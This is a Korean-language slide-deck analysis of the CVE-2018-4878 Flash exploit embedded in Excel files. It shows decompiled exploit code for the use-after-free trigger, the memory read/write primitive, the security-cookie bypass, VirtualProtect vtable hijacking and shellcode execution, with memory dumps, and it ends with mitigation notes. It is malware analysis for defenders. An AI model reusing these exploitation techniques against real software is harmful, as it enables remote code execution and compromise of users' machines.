오피스문서파일 플래시객체삽입기능
엑셀에삽입한악성플래시파일 CVE-2018-4878 User Interaction? 제한된보기상태에서여는경우를제외하고플래시자동실행
이메일, 메신저, SNS 오피스 exploit.xslx 이메일 플래시익스플로잇 악성코드 메신저
익스플로잇흐름도 Office Request decode xor key (swf id, flash version, os version) Flash (Loader) decode Return decode xor key Request payload Important C2 server Flash (exploit) Return payload C2 server
익스플로잇로더 Flash object
디컴파일익스플로잇로더 Exploit (CVE-2018-4878) decode, load
익스플로잇디코드함수 (Decript?) decode Load exploit
익스플로잇플래시파일
취약점원인 (Use After Free) PrimeTime SDK DRMManager (com.adobe.tvsdk.mediacore.psdk) public function trig_uaf() : void { var ps:psdk = null; // 1. 미디어플레이어생성 var data14:psdkeventdispatcher = null; ps = PSDK.pSDK; data14 = ps.createdispatcher(); this. \x04 = ps.createmediaplayer(data14); drm_obj1=null (delayed free) // 2. DRMManager 초기화 this.drm_obj1= new DRMLIST_Obj(); // DRMOperationCompleteListener this. \x04.drmmanager.initialize(this.drm_obj1); } // 3. Null DRMOperationCompleteListener (drmmanager 는계속오브젝트참조 ) this.drm_obj1 = null; // Enter delayed free list
Force Garbage Collect public function \x01 (param1:flash01) { super(); this.flash01_obj = param1; drm_obj1=null this.trig_uaf(); (freed) try { new LocalConnection().connect("foo"); new LocalConnection().connect("foo"); // Force Garbage Collect }
Force Garbage Collect
DRMOperationCompleteListener Class Object 재할당 try { 에러발생 new LocalConnection().connect("foo"); new LocalConnection().connect("foo"); } catch(e:error) { // dangling pointer로사용 drm_obj2 = new DRMLIST_Obj(); }
Make Dangling Pointer (drm_obj2). // Timer 실행 this. \x03 = new Timer(100,1000); this. \x03.addeventlistener("timer",this.checkfreed); this. \x03.start(); // flash.display::loaderinfo -> ondrmerror -> Freed drm_obj2 } Freed drm_obj2 by drmmanager
Overlap ByteArray Class Object public function overlapping_obj() : void { this.barray_obj = new ByteArrayObj(); // overlapping bytearray class in the freed drm_obj2 this.barray_obj.length = 512; if(this.drm_obj2.a14!= 0) // drm_obj2 is dangling pointer {.
ByteArray Full memory Read / Write Primitive private: uint8_t* array; uint32_t capacity; uint32_t length; uint32_t copyonwrite; uint32_t check_array; uint32_t check_capacity; uint32_t check_length; uint32_t check_copyonwrite;
Overlapped Object Memory [drm_obj2 class memory] 프리되기전 07689100 5bda1a88 AdobeCPGetAPI+0x4de208 07689104 80004b01 07689108 077b61a0 0768910c 0778b208 07689110 00001111 -> drm_obj2.a1 07689114 00002222 07689118 00003333 0768911c 00004444 07689120 00005555 07689124 00006666 07689128 00007777 0768912c 00008888 07689130 00009999 07689134 0000aaaa 07689138 00001111 0768913c 00002222 07689140 00003333.. 07689174 00006666 07689178 00007777 0768917c 00008888 07689180 00009999 07689184 0000aaaa 07689188 00001111 0768918c 00002222 07689190 00003333 07689194 00004444 07689198 00004444 ->drm_obj2.a35 0768919c 00000000 Overlapped ByteArray Class Object 07689100 5bda18d8 AdobeCPGetAPI+0x4de058 07689104 00000003 07689108 076ad858 0768910c 07796fa0 07689110 07689118 -> drm_obj2.a1 07689114 00000044 07689118 5bda1880 AdobeCPGetAPI+0x4de000 0768911c 5bda1888 AdobeCPGetAPI+0x4de008 07689120 5bda187c AdobeCPGetAPI+0x4ddffc 07689124 5bde9984 AdobeCPGetAPI+0x526104 07689128 0781f4c0 0768912c 08f1c1f0 07689130 07ba5e80.. 07689140 5bdb3db0 <ByteArray Object> 07689144 08a45050 -> m_buffer object drm_obj2.a14 07689148 00000000 0768914c 00000000 07689150 5bda1874 Flash32_28_0_0_137!AdobeCPGetAPI+0x4ddff4 07689154 00000003 07689158 00000000 0768915c 00000011 -> barray_obj.a1.. 07689188 07689101 -> barray_obj(this) 0768918c 00000001 07689190 00000000 07689194 00000000 07689198 00000000 -> drm_obj2.a35 0768919c 00000000
Object Life Cycle
Make Fake m_buffer Object if(this.drm_obj2.a14!= 0) { // check overlap for(var i:int = 0; i < 5; i++) { }.. // 1. Dangling pointer 의 a.32 에 a.14(m_buffer) 쓰기 this.drm_obj2.a32 = this.drm_obj2.a14 + 8 * i + 7; // 2. Dangling pointer 의 a.32 는 barray_obj.a13(number 타입 ), bytearray 를이용해 Number 값을쓰고읽기 // 3. 읽어온 m_buffer object data 를 barray_obj 변수영역에써서 fake m_buffer object 를만듦 this.barray_obj.write_mbuffer_obj(i * 2 + 1,this.barray_obj.read_mbuffer_obj()); // 4. a.14( 실제 m_buffer 주소 ) 를 barray_obj.a1 (fake m_buffer pointer) 의주소로변경 this.drm_obj2.a14 = this.drm_obj2.a31 + 19 * 4 + 16-1;
Full r/w memory primitive 07689100 5bda18d8 AdobeCPGetAPI+0x4de058 07689104 00000003 07689108 076ad858 0768910c 07796fa0 07689110 07689118.. 07689140 5bdb3db0 <ByteArray Object> 07689144 (0768915c) -> Fake m_buffer 07689148 00000000 0768914c 00000000 07689150 5bda1874 Flash32_28_0_0_137!AdobeCPGetAPI+0x4ddff4 07689154 00000003 07689158 00000000 (0768915c) 52571868 07689160 00000001 07689164 00000000 -> array 07689168 ffffffff -> capacity 0768916c ffffffff -> length 07689170 00000000 -> copyonwrite 07689174 1778926e -> check_array 07689178 e8876d91 -> check_capacity 0768917c e8876d91 -> check_length 07689180 1778926e -> check_copyonwrite 07689184 00000000 07689188 07689101 0768918c 07e25239 07689190 00000000..
Bypass ByteArray security cookie mitigation // key = array ^ check_array var key:uint = this.drm_obj2.a22 ^ this.drm_obj2.a26; this.drm_obj2.a22 = 0; this.drm_obj2.a23 = 0xFFFFFFFF; this.drm_obj2.a24 = 0xFFFFFFFF; this.drm_obj2.a26 = this.drm_obj2.a22 ^ key; this.drm_obj2.a27 = this.drm_obj2.a23 ^ key; this.drm_obj2.a28 = this.drm_obj2.a24 ^ key; this.drm_obj2.a29 = this.drm_obj2.a25 ^ key; this.barray_obj.endian = Endian.LITTLE_ENDIAN;
Find window function address Vtable address Flash.ocx base address Search API address static function findvp() : uint { if(flash21.readutf().tolowercase() == virtualprotect { flash63 = Get(b + ft + \x1e\x0b * 4); c++; if(c > 1).. else { flash21.position = b + b0; if(flash21.readutf().tolowercase() == createprocessa { createprocessafunc = Get(b + ft + \x1e\x0b * 4); c++; if(c > 1) { break; } }
How to call shellcode HackingTeam 플래시익스플로잇방식이용 (Back to the 2015 년 ) // 1. 더미 victim 함수를선언 static function Payload(...a){} static function CallVP(vp:uint, xaddr:uint, xlen:uint) { // 2. Payload 함수오브젝트를생성 Payload(); // 3. Payload() 오브젝트에서 vtable 포인터를검색 var p:uint = GetAddr(Payload); var ptbl:uint = Get(Get(Get(Get(p + 8) + 0x14) + 4) + (_isdbg? 0xbc:0xb0));.. // 4. Payload s vtable 를복사 for(var i:uint; i < 0x100; i++) _v[i] = Get(p1-0x80 + i*4); // 5. VirtualProtect() 주소를저장 _v[0x20+7] = vp; // 6. VirtualProtect() 의아규먼트설정 Set(p+0x1c, xaddr); Set(p+0x20, xlen); var args:array = new Array(0x41); //set third arg = 0x40 PAGE_EXECUTE_READWRITE // 7. Payload() 의 vtable 를대체 Set(ptbl, _vaddr + 0x80); // 8. call VirtualProtect() var res = Payload.call.apply(null, args);
How to call shellcode Function Object 의 apply 호출주소변조 Atom FunctionObject::AS3_apply(Atom thisarg, Atom argarray) { thisarg = get_coerced_receiver(thisarg); // when argarray == undefined or null, same as not being there at all // see Function/e15_3_4_3_1.as if (!AvmCore::isNullOrUndefined(argArray)) { AvmCore* core = this->core(); // FIXME: why not declare argarray as Array in Function.as? if (!AvmCore::istype(argArray, ARRAY_TYPE)) toplevel()->throwtypeerror(kapplyerror); return core->exec->apply(get_callenv(), thisarg,(arrayobject*)avmcore::atomtoscriptobject(argarray)); } else {
How to call shellcode Function Object 의 apply 호출주소변조
How to call shellcode static function callvp(param1:uint, param2:uint, param3:uint) : * { var _loc10_:uint = 0; flash1000(); var _loc4_:uint = GetObjAddr(flash1000); var _loc5_:uint = Get(Get(Get(_loc4_ + 8) + 20) + 4) + (!!flash70?188:176);.. var _loc9_:vector.<uint> = new Vector.<uint>(256); while(_loc10_ < 256){ _loc9_[_loc10_] = Get(_loc6_ - 128 + _loc10_ * 4); _loc10_++; } _loc9_[32 + 7] = param1; Set(_loc4_ + 28,param2); // 첫번째파라미터 ( 쉘코드주소 ) Set(_loc4_ + 32,param3); // 두번째파라미터 ( 쉘코드길이 ) } Set(_loc5_,flash36(_loc9_) + 128); // apply 호출포인터변조 var _loc11_:array = new Array(65); // 세번째파라미터 ( 메모리플래그 ) var _loc12_:* = flash1000.call.apply(null,_loc11_); // VirtualProtect 호출 Set(_loc5_,_loc6_); Set(_loc4_ + 28,_loc7_); Set(_loc4_ + 32,_loc8_);
How to call shellcode Call VirtualProtect Parameter
How to call shellcode static function Exec() : * {.. payaddr = GetObjAddr(flash1000); payaddr = Get(Get(payAddr + 0x1C) + 8) + 4; flash69 = Get(payAddr); // 함수호출포인터쉘코드주소로변조 Set(payAddr,shellcodeAddr); before Dummy function after shellcode // CreateProcessA 호출 res = flash1000.call(null,createprocessafunc );.. }
How to call shellcode Shellcode
과거플래시취약점악용이증가할당시수동에서자동업데이트로정책변경
제한된보기 (Protected View)
제한된보기
플래시로딩알림창
플래시로딩알림창
2020 년말에 Flash 지원중단발표 Ref: https://theblog.adobe.com/adobe-flash-update/
인터넷익스플로러, 엣지브라우저 Ref: https://blogs.windows.com/msedgedev/2017/07/25/flash-on-windows-timeline/#etdkmp71exskesz6.97
구글크롬 Ref: https://www.blog.google/products/chrome/saying-goodbye-flash-chrome/
플래시 HTML5